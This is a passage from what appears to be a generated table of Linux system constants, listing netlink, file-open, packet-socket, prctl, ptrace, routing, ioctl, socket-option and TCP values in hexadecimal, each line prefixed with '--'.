-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x2000
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40042407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80042406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = 0xffffffff
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
-- RTM_NEWADDR = 0x14
-- RTM_NEWADDRLABEL = 0x48
-- RTM_NEWLINK = 0x10
-- RTM_NEWMDB = 0x54
-- RTM_NEWNDUSEROPT = 0x44
-- RTM_NEWNEIGH = 0x1c
-- RTM_NEWNEIGHTBL = 0x40
-- RTM_NEWNETCONF = 0x50
-- RTM_NEWNSID = 0x58
-- RTM_NEWPREFIX = 0x34
-- RTM_NEWQDISC = 0x24
-- RTM_NEWROUTE = 0x18
-- RTM_NEWRULE = 0x20
-- RTM_NEWSTATS = 0x5c
-- RTM_NEWTCLASS = 0x28
-- RTM_NEWTFILTER = 0x2c
-- RTM_NR_FAMILIES = 0x14
-- RTM_NR_MSGTYPES = 0x50
-- RTM_SETDCB = 0x4f
-- RTM_SETLINK = 0x13
-- RTM_SETNEIGHTBL = 0x43
-- RTNH_ALIGNTO = 0x4
-- RTNH_COMPARE_MASK = 0x19
-- RTNH_F_DEAD = 0x1
-- RTNH_F_LINKDOWN = 0x10
-- RTNH_F_OFFLOAD = 0x8
-- RTNH_F_ONLINK = 0x4
-- RTNH_F_PERVASIVE = 0x2
-- RTN_MAX = 0xb
-- RTPROT_BABEL = 0x2a
-- RTPROT_BIRD = 0xc
-- RTPROT_BOOT = 0x3
-- RTPROT_DHCP = 0x10
-- RTPROT_DNROUTED = 0xd
-- RTPROT_GATED = 0x8
-- RTPROT_KERNEL = 0x2
-- RTPROT_MROUTED = 0x11
-- RTPROT_MRT = 0xa
-- RTPROT_NTK = 0xf
-- RTPROT_RA = 0x9
-- RTPROT_REDIRECT = 0x1
-- RTPROT_STATIC = 0x4
-- RTPROT_UNSPEC = 0x0
-- RTPROT_XORP = 0xe
-- RTPROT_ZEBRA = 0xb
-- RT_CLASS_DEFAULT = 0xfd
-- RT_CLASS_LOCAL = 0xff
-- RT_CLASS_MAIN = 0xfe
-- RT_CLASS_MAX = 0xff
-- RT_CLASS_UNSPEC = 0x0
-- RUSAGE_CHILDREN = -0x1
-- RUSAGE_SELF = 0x0
-- RUSAGE_THREAD = 0x1
-- SCM_CREDENTIALS = 0x2
-- SCM_RIGHTS = 0x1
-- SCM_TIMESTAMP = 0x1d
-- SCM_TIMESTAMPING = 0x25
-- SCM_TIMESTAMPING_OPT_STATS = 0x36
-- SCM_TIMESTAMPNS = 0x23
-- SCM_WIFI_STATUS = 0x29
-- SECCOMP_MODE_DISABLED = 0x0
-- SECCOMP_MODE_FILTER = 0x2
-- SECCOMP_MODE_STRICT = 0x1
-- SHUT_RD = 0x0
-- SHUT_RDWR = 0x2
-- SHUT_WR = 0x1
-- SIOCADDDLCI = 0x8980
-- SIOCADDMULTI = 0x8931
-- SIOCADDRT = 0x890b
-- SIOCATMARK = 0x40047307
-- SIOCBONDCHANGEACTIVE = 0x8995
-- SIOCBONDENSLAVE = 0x8990
-- SIOCBONDINFOQUERY = 0x8994
-- SIOCBONDRELEASE = 0x8991
-- SIOCBONDSETHWADDR = 0x8992
-- SIOCBONDSLAVEINFOQUERY = 0x8993
-- SIOCBRADDBR = 0x89a0
-- SIOCBRADDIF = 0x89a2
-- SIOCBRDELBR = 0x89a1
-- SIOCBRDELIF = 0x89a3
-- SIOCDARP = 0x8953
-- SIOCDELDLCI = 0x8981
-- SIOCDELMULTI = 0x8932
-- SIOCDELRT = 0x890c
-- SIOCDEVPRIVATE = 0x89f0
-- SIOCDIFADDR = 0x8936
-- SIOCDRARP = 0x8960
-- SIOCETHTOOL = 0x8946
-- SIOCGARP = 0x8954
-- SIOCGHWTSTAMP = 0x89b1
-- SIOCGIFADDR = 0x8915
-- SIOCGIFBR = 0x8940
-- SIOCGIFBRDADDR = 0x8919
-- SIOCGIFCONF = 0x8912
-- SIOCGIFCOUNT = 0x8938
-- SIOCGIFDSTADDR = 0x8917
-- SIOCGIFENCAP = 0x8925
-- SIOCGIFFLAGS = 0x8913
-- SIOCGIFHWADDR = 0x8927
-- SIOCGIFINDEX = 0x8933
-- SIOCGIFMAP = 0x8970
-- SIOCGIFMEM = 0x891f
-- SIOCGIFMETRIC = 0x891d
-- SIOCGIFMTU = 0x8921
-- SIOCGIFNAME = 0x8910
-- SIOCGIFNETMASK = 0x891b
-- SIOCGIFPFLAGS = 0x8935
-- SIOCGIFSLAVE = 0x8929
-- SIOCGIFTXQLEN = 0x8942
-- SIOCGIFVLAN = 0x8982
-- SIOCGMIIPHY = 0x8947
-- SIOCGMIIREG = 0x8948
-- SIOCGPGRP = 0x40047309
-- SIOCGRARP = 0x8961
-- SIOCGSKNS = 0x894c
-- SIOCGSTAMP = 0x8906
-- SIOCGSTAMPNS = 0x8907
-- SIOCINQ = 0x467f
-- SIOCOUTQ = 0x7472
-- SIOCOUTQNSD = 0x894b
-- SIOCPROTOPRIVATE = 0x89e0
-- SIOCRTMSG = 0x890d
-- SIOCSARP = 0x8955
-- SIOCSHWTSTAMP = 0x89b0
-- SIOCSIFADDR = 0x8916
-- SIOCSIFBR = 0x8941
-- SIOCSIFBRDADDR = 0x891a
-- SIOCSIFDSTADDR = 0x8918
-- SIOCSIFENCAP = 0x8926
-- SIOCSIFFLAGS = 0x8914
-- SIOCSIFHWADDR = 0x8924
-- SIOCSIFHWBROADCAST = 0x8937
-- SIOCSIFLINK = 0x8911
-- SIOCSIFMAP = 0x8971
-- SIOCSIFMEM = 0x8920
-- SIOCSIFMETRIC = 0x891e
-- SIOCSIFMTU = 0x8922
-- SIOCSIFNAME = 0x8923
-- SIOCSIFNETMASK = 0x891c
-- SIOCSIFPFLAGS = 0x8934
-- SIOCSIFSLAVE = 0x8930
-- SIOCSIFTXQLEN = 0x8943
-- SIOCSIFVLAN = 0x8983
-- SIOCSMIIREG = 0x8949
-- SIOCSPGRP = 0x80047308
-- SIOCSRARP = 0x8962
-- SIOCWANDEV = 0x894a
-- SOCK_CLOEXEC = 0x80000
-- SOCK_DCCP = 0x6
-- SOCK_DGRAM = 0x1
-- SOCK_IOC_TYPE = 0x89
-- SOCK_NONBLOCK = 0x80
-- SOCK_PACKET = 0xa
-- SOCK_RAW = 0x3
-- SOCK_RDM = 0x4
-- SOCK_SEQPACKET = 0x5
-- SOCK_STREAM = 0x2
-- SOL_AAL = 0x109
-- SOL_ALG = 0x117
-- SOL_ATM = 0x108
-- SOL_CAIF = 0x116
-- SOL_CAN_BASE = 0x64
-- SOL_DCCP = 0x10d
-- SOL_DECNET = 0x105
-- SOL_ICMPV6 = 0x3a
-- SOL_IP = 0x0
-- SOL_IPV6 = 0x29
-- SOL_IRDA = 0x10a
-- SOL_IUCV = 0x115
-- SOL_KCM = 0x119
-- SOL_LLC = 0x10c
-- SOL_NETBEUI = 0x10b
-- SOL_NETLINK = 0x10e
-- SOL_NFC = 0x118
-- SOL_PACKET = 0x107
-- SOL_PNPIPE = 0x113
-- SOL_PPPOL2TP = 0x111
-- SOL_RAW = 0xff
-- SOL_RDS = 0x114
-- SOL_RXRPC = 0x110
-- SOL_SOCKET = 0xffff
-- SOL_TCP = 0x6
-- SOL_TIPC = 0x10f
-- SOL_X25 = 0x106
-- SOMAXCONN = 0x80
-- SO_ACCEPTCONN = 0x1009
-- SO_ATTACH_BPF = 0x32
-- SO_ATTACH_FILTER = 0x1a
-- SO_ATTACH_REUSEPORT_CBPF = 0x33
-- SO_ATTACH_REUSEPORT_EBPF = 0x34
-- SO_BINDTODEVICE = 0x19
-- SO_BPF_EXTENSIONS = 0x30
-- SO_BROADCAST = 0x20
-- SO_BSDCOMPAT = 0xe
-- SO_BUSY_POLL = 0x2e
-- SO_CNX_ADVICE = 0x35
-- SO_DEBUG = 0x1
-- SO_DETACH_BPF = 0x1b
-- SO_DETACH_FILTER = 0x1b
-- SO_DOMAIN = 0x1029
-- SO_DONTROUTE = 0x10
-- SO_ERROR = 0x1007
-- SO_GET_FILTER = 0x1a
-- SO_INCOMING_CPU = 0x31
-- SO_KEEPALIVE = 0x8
-- SO_LINGER = 0x80
-- SO_LOCK_FILTER = 0x2c
-- SO_MARK = 0x24
-- SO_MAX_PACING_RATE = 0x2f
-- SO_NOFCS = 0x2b
-- SO_NO_CHECK = 0xb
-- SO_OOBINLINE = 0x100
-- SO_PASSCRED = 0x11
-- SO_PASSSEC = 0x22
-- SO_PEEK_OFF = 0x2a
-- SO_PEERCRED = 0x12
-- SO_PEERNAME = 0x1c
-- SO_PEERSEC = 0x1e
-- SO_PRIORITY = 0xc
-- SO_PROTOCOL = 0x1028
-- SO_RCVBUF = 0x1002
-- SO_RCVBUFFORCE = 0x21
-- SO_RCVLOWAT = 0x1004
-- SO_RCVTIMEO = 0x1006
-- SO_REUSEADDR = 0x4
-- SO_REUSEPORT = 0x200
-- SO_RXQ_OVFL = 0x28
-- SO_SECURITY_AUTHENTICATION = 0x16
-- SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-- SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-- SO_SELECT_ERR_QUEUE = 0x2d
-- SO_SNDBUF = 0x1001
-- SO_SNDBUFFORCE = 0x1f
-- SO_SNDLOWAT = 0x1003
-- SO_SNDTIMEO = 0x1005
-- SO_STYLE = 0x1008
-- SO_TIMESTAMP = 0x1d
-- SO_TIMESTAMPING = 0x25
-- SO_TIMESTAMPNS = 0x23
-- SO_TYPE = 0x1008
-- SO_VM_SOCKETS_BUFFER_MAX_SIZE = 0x2
-- SO_VM_SOCKETS_BUFFER_MIN_SIZE = 0x1
-- SO_VM_SOCKETS_BUFFER_SIZE = 0x0
-- SO_VM_SOCKETS_CONNECT_TIMEOUT = 0x6
-- SO_VM_SOCKETS_NONBLOCK_TXRX = 0x7
-- SO_VM_SOCKETS_PEER_HOST_VM_ID = 0x3
-- SO_VM_SOCKETS_TRUSTED = 0x5
-- SO_WIFI_STATUS = 0x29
-- SPLICE_F_GIFT = 0x8
-- SPLICE_F_MORE = 0x4
-- SPLICE_F_MOVE = 0x1
-- SPLICE_F_NONBLOCK = 0x2
-- S_BLKSIZE = 0x200
-- S_IEXEC = 0x40
-- S_IFBLK = 0x6000
-- S_IFCHR = 0x2000
-- S_IFDIR = 0x4000
-- S_IFIFO = 0x1000
-- S_IFLNK = 0xa000
-- S_IFMT = 0xf000
-- S_IFREG = 0x8000
-- S_IFSOCK = 0xc000
-- S_IREAD = 0x100
-- S_IRGRP = 0x20
-- S_IROTH = 0x4
-- S_IRUSR = 0x100
-- S_IRWXG = 0x38
-- S_IRWXO = 0x7
-- S_IRWXU = 0x1c0
-- S_ISGID = 0x400
-- S_ISUID = 0x800
-- S_ISVTX = 0x200
-- S_IWGRP = 0x10
-- S_IWOTH = 0x2
-- S_IWRITE = 0x80
-- S_IWUSR = 0x80
-- S_IXGRP = 0x8
-- S_IXOTH = 0x1
-- S_IXUSR = 0x40
-- TAB0 = 0x0
-- TAB1 = 0x800
-- TAB2 = 0x1000
-- TAB3 = 0x1800
-- TABDLY = 0x1800
-- TASKSTATS_CMD_ATTR_MAX = 0x4
-- TASKSTATS_CMD_MAX = 0x2
-- TASKSTATS_GENL_NAME = "TASKSTATS"
-- TASKSTATS_GENL_VERSION = 0x1
-- TASKSTATS_TYPE_MAX = 0x6
-- TASKSTATS_VERSION = 0x8
-- TCFLSH = 0x5407
-- TCGETA = 0x5401
-- TCGETS = 0x540d
-- TCGETS2 = 0x4030542a
-- TCIFLUSH = 0x0
-- TCIOFF = 0x2
-- TCIOFLUSH = 0x2
-- TCION = 0x3
-- TCOFLUSH = 0x1
-- TCOOFF = 0x0
-- TCOON = 0x1
-- TCP_CC_INFO = 0x1a
-- TCP_CONGESTION = 0xd
-- TCP_COOKIE_IN_ALWAYS = 0x1
-- TCP_COOKIE_MAX = 0x10
-- TCP_COOKIE_MIN = 0x8
-- TCP_COOKIE_OUT_NEVER = 0x2
-- TCP_COOKIE_PAIR_SIZE = 0x20
-- TCP_COOKIE_TRANSACTIONS = 0xf
-- TCP_CORK = 0x3
-- TCP_DEFER_ACCEPT = 0x9
-- TCP_FASTOPEN = 0x17
-- TCP_INFO = 0xb
-- TCP_KEEPCNT = 0x6
-- TCP_KEEPIDLE = 0x4
-- TCP_KEEPINTVL = 0x5
-- TCP_LINGER2 = 0x8
-- TCP_MAXSEG = 0x2
-- TCP_MAXWIN = 0xffff
-- TCP_MAX_WINSHIFT = 0xe
-- TCP_MD5SIG = 0xe
-- TCP_MD5SIG_MAXKEYLEN = 0x50
-- TCP_MSS = 0x200
-- TCP_MSS_DEFAULT = 0x218
-- TCP_MSS_DESIRED = 0x4c4
-- TCP_NODELAY = 0x1
-- TCP_NOTSENT_LOWAT = 0x19
-- TCP_QUEUE_SEQ = 0x15
-- TCP_QUICKACK = 0xc
-- TCP_REPAIR = 0x13
-- TCP_REPAIR_OPTIONS = 0x16
-- TCP_REPAIR_QUEUE = 0x14
-- TCP_REPAIR_WINDOW = 0x1d
-- TCP_SAVED_SYN = 0x1c
-- TCP_SAVE_SYN = 0x1b
-- TCP_SYNCNT = 0x7
-- TCP_S_DATA_IN = 0x4
